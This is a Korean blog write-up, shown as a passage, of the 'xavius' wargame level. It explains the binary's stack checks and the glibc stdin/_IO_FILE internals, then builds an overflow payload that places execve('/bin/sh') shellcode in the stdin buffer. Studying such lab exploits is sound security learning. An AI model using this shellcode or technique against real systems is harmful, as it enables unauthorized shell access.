&lt;p data-ke-size=&quot;size18&quot;&gt;1번의 조건으로 인해 이번 문제는 커맨드라인 인자가 아닌 입력으로 xavius에 값을 보내야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2번의 조건으로 인해 쉘 코드를 스택에 저장해두고 해당 주소로 실행 흐름을 옮기거나 코드 가젯을 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dp1DnV/btsFisWh29Z/ekttFeKNgYcp08DV9666t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dp1DnV/btsFisWh29Z/ekttFeKNgYcp08DV9666t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dp1DnV/btsFisWh29Z/ekttFeKNgYcp08DV9666t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdp1DnV%2FbtsFisWh29Z%2FekttFeKNgYcp08DV9666t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;551&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708761384777&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;objdump -d xavius | grep -B 3 ret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3번의 조건에서 ret_addr 영역부터하여 0x9090인지와 0xc9, 0xc3인지를 검사하는데, 0xc9와 0xc3은 위의 사진을 보면 leave와 ret 명령어의 opcode이고, leave, ret 명령의 opcode가 스택에 있으면 종료한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 ret_addr 부분부터 하여 0x9090을 만나게 되면 while()문을 탈출하고 스택을 0으로 초기화 한 뒤 프로그램이 종료된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 거의 모든 부분의 스택 사용을 차단당했고, 쉘코드를 담아둘 버퍼 공간으로 공유 라이브러리 영역을 이용하거나 코드 가젯을 사용해서 system() 함수를 호출하거나 등의 방법을 이용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;게다가 \x9090을 만나기 전까지 ret_addr부터 while 문으로 검사하기 때문에 \x9090을 payload에 넣어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 사용자의 입력을 fgets()를 이용해 받는데, 위의 소스코드에서 fgets() 함수의 3번째 인자를 보면 stdin 이라는 버퍼를 사용한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;stdin&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1708767852359&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고)
stdio.c 등 c 소스코드 보는 법
https://ftp.gnu.org/gnu/glibc/ 에서 glibc-2.1.3.tar.gz를 다운로드 하여 압축 해제하면 .c 파일들이 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;glibc-2.1.3에서 stdin은 &quot;_IO_FILE&quot;이라는 구조체의 구조체 포인터 형식으로 선언되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;glibc-2.1.3/include/stdio.h&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FYei5/btsFg4htu1W/yPSJzHoG63ridhOfQdTrA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FYei5/btsFg4htu1W/yPSJzHoG63ridhOfQdTrA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FYei5/btsFg4htu1W/yPSJzHoG63ridhOfQdTrA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFYei5%2FbtsFg4htu1W%2FyPSJzHoG63ridhOfQdTrA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;172&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708767925748&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// glibc-2.1.3/include/stdio.h

#ifndef _STDIO_H
#ifdef USE_IN_LIBIO
#ifdef __need_FILE
# include &amp;lt;libio/stdio.h&amp;gt;
#else
# include &amp;lt;libio/stdio.h&amp;gt;

/* Now define the internal interfaces.  */
extern int __fcloseall __P ((void));
extern int __snprintf __P ((char *__restrict __s, size_t __maxlen,
			    __const char *__restrict __format, ...))
     __attribute__ ((__format__ (__printf__, 3, 4)));
extern int __vfscanf __P ((FILE *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int __vscanf __P ((__const char *__restrict __format,
			  _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 1, 0)));
extern _IO_ssize_t __getline __P ((char **__lineptr, size_t *__n,
				   FILE *__stream));
extern int __vsscanf __P ((__const char *__restrict __s,
			   __const char *__restrict __format,
			   _G_va_list __arg))
     __attribute__ ((__format__ (__scanf__, 2, 0)));

#endif
#else
#include &amp;lt;stdio/stdio.h&amp;gt;
#endif

# define __need_size_t
# include &amp;lt;stddef.h&amp;gt;
/* Generate a unique file name (and possibly open it).  */
extern int __path_search __P ((char *__tmpl, size_t __tmpl_len,
			       __const char *__dir, __const char *__pfx,
			       int __try_tempdir));

extern int __gen_tempname __P ((char *__tmpl, int __openit, int __large_file));

/* Print out MESSAGE on the error output and abort.  */
extern void __libc_fatal __P ((__const char *__message))
     __attribute__ ((__noreturn__));


#endif&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;stdin이 &quot;_IO_FILE&quot;이라는 형식으로 선언되어 있는 것을 확인해보기 위해 먼저 glibc-2.1.3/include/stdio.h 파일을 열어보니 libio/stdio.h 파일을 포함하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;glibc-2.1.3/libio/stdio.c&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWKHrE/btsFhVdmsXo/hQ46QIs5zBHSPgh6ApTFUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWKHrE/btsFhVdmsXo/hQ46QIs5zBHSPgh6ApTFUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWKHrE/btsFhVdmsXo/hQ46QIs5zBHSPgh6ApTFUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWKHrE%2FbtsFhVdmsXo%2FhQ46QIs5zBHSPgh6ApTFUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;342&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708769700399&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &quot;libioP.h&quot;
#include &quot;stdio.h&quot;

#undef stdin
#undef stdout
#undef stderr
FILE *stdin = &amp;amp;_IO_2_1_stdin_.file;
FILE *stdout = &amp;amp;_IO_2_1_stdout_.file;
FILE *stderr = &amp;amp;_IO_2_1_stderr_.file;

#undef _IO_stdin
#undef _IO_stdout
#undef _IO_stderr
strong_alias (stdin, _IO_stdin);
strong_alias (stdout, _IO_stdout);
strong_alias (stderr, _IO_stderr);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;glibc-2.1.3/libio/stdio.c 파일을 보면 stdin은 FILE 형식으로 선언되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 Ctrl을 누른 상태에서 stdio.h를 클릭하면 glibc-2.1.3/libio/stdio.h 파일로 연결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;glibc-2.1.3/libio/stdio.h&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSgSzo/btsFgOls4EP/DcW1Cs72S3SbQZYE8c4BO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSgSzo/btsFgOls4EP/DcW1Cs72S3SbQZYE8c4BO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSgSzo/btsFgOls4EP/DcW1Cs72S3SbQZYE8c4BO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSgSzo%2FbtsFgOls4EP%2FDcW1Cs72S3SbQZYE8c4BO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;520&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708769244396&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// glibc-2.1.3/libio/stdio.h

/* Standard streams.  */
extern FILE *stdin;		/* Standard input stream.  */
extern FILE *stdout;		/* Standard output stream.  */
extern FILE *stderr;		/* Standard error output stream.  */
/* C89/C99 say they're macros.  Make them happy.  */
#define stdin stdin
#define stdout stdout
#define stderr stderr&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;glibc-2.1.3/libio/stdio.h 파일에서 &quot;stdin&quot;을 검색해보니 stdin은 FILE * 형식으로 되어 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SOCY7/btsFjX2K2wh/DRkf1WfAOHTwrRUKzEmuG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SOCY7/btsFjX2K2wh/DRkf1WfAOHTwrRUKzEmuG0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SOCY7/btsFjX2K2wh/DRkf1WfAOHTwrRUKzEmuG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSOCY7%2FbtsFjX2K2wh%2FDRkf1WfAOHTwrRUKzEmuG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;194&quot; data-origin-width=&quot;457&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708769330032&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// glibc-2.1.3/libio/stdio.h

/* The opaque type of streams.  */
typedef struct _IO_FILE FILE;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Ctrl 키를 누른 상태에서 FILE을 클릭해보니 FILE은 _IO_FILE 이라는 구조체이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;glibc-2.1.3/libio/libio.h&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XGj3W/btsFh7Lz7gM/mUoEcIuJKhByZkEh18KEXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XGj3W/btsFh7Lz7gM/mUoEcIuJKhByZkEh18KEXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XGj3W/btsFh7Lz7gM/mUoEcIuJKhByZkEh18KEXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXGj3W%2FbtsFh7Lz7gM%2FmUoEcIuJKhByZkEh18KEXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;717&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708769542871&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _blksize;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Ctrl 키를 누른 상태에서 _IO_FILE을 클릭해보니 _IO_FILE의 구조체가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708770578605&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.
 
10. char *_IO_save_base

11. char *_IO_backup_base

12. char *_IO_save_end

13. struct _IO_marker *_markers
 
14. struct _IO_FILE *_chain
 
15. int _fileno
 
16. int _flags2
 
17. __off_t _old_offset
 
18. unsigned short _cur_column
 
19. signed char _vtable_offset
 
19. char _shortbuf[1]
 
20. _IO_lock_t *_lock&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_IO_FILE 구조체의 대표적인 각 필드는 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;각 필드의 주석 정보를 참고하면 _IO_read_base ~ _IO_read_end 영역에서 데이터를 읽고, 새로운 데이터가 입력되면&amp;nbsp;&amp;nbsp;_IO_write_base ~ _IO_write_end 영역 안에 데이터를 쓰며, _IO_read_ptr와 _IO_write_ptr는 각각 읽고 쓰는 동안의 커서 역할인것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 _IO_buf_base ~ _IO_buf_end의 영역은 입력값을 저장하는 버퍼 공간으로 예약되어 있는 영역인 것 같다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FDcEW/btsFfWK6joA/zqXm3ZekYMJsSHBV01Tfz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FDcEW/btsFfWK6joA/zqXm3ZekYMJsSHBV01Tfz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FDcEW/btsFfWK6joA/zqXm3ZekYMJsSHBV01Tfz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFDcEW%2FbtsFfWK6joA%2FzqXm3ZekYMJsSHBV01Tfz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;127&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제에서는 fgets() 함수를 이용해 stdin 버퍼를 사용하므로 stdin 버퍼를 이용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;89&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rUOOU/btsFiqjTOgy/SVf7svczKx8OsFtLdXeKKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rUOOU/btsFiqjTOgy/SVf7svczKx8OsFtLdXeKKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rUOOU/btsFiqjTOgy/SVf7svczKx8OsFtLdXeKKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrUOOU%2FbtsFiqjTOgy%2FSVf7svczKx8OsFtLdXeKKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1476&quot; height=&quot;89&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;89&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708773211572&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot; + &quot;\x90&quot; * 19 + &quot;aaaa&quot;' &amp;gt; data

cp xavius xavius2

gdb -q xavius2

set disassembly-flavor intel

disas main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 test payload를 작성하고 test payload를 data 라는 파일에 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 프로세스화를 위해 xavius를 xavius2로 복사한 뒤 복사한 파일을 gdb에서 연다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgERHS/btsFhgPC8Ak/rfxkKMahpEqHJ2MKrFDnXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgERHS/btsFhgPC8Ak/rfxkKMahpEqHJ2MKrFDnXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgERHS/btsFhgPC8Ak/rfxkKMahpEqHJ2MKrFDnXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgERHS%2FbtsFhgPC8Ak%2FrfxkKMahpEqHJ2MKrFDnXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;183&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;444&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkqWck/btsFeFiNyNP/dwnv9KxiqhuWtr9UuInkRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkqWck/btsFeFiNyNP/dwnv9KxiqhuWtr9UuInkRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkqWck/btsFeFiNyNP/dwnv9KxiqhuWtr9UuInkRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkqWck%2FbtsFeFiNyNP%2Fdwnv9KxiqhuWtr9UuInkRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;444&quot; height=&quot;73&quot; data-origin-width=&quot;444&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byy1lt/btsFhh13PW5/I0lkZ4V4CmZbLKdCR1xH4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byy1lt/btsFhh13PW5/I0lkZ4V4CmZbLKdCR1xH4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byy1lt/btsFhh13PW5/I0lkZ4V4CmZbLKdCR1xH4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyy1lt%2FbtsFhh13PW5%2FI0lkZ4V4CmZbLKdCR1xH4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 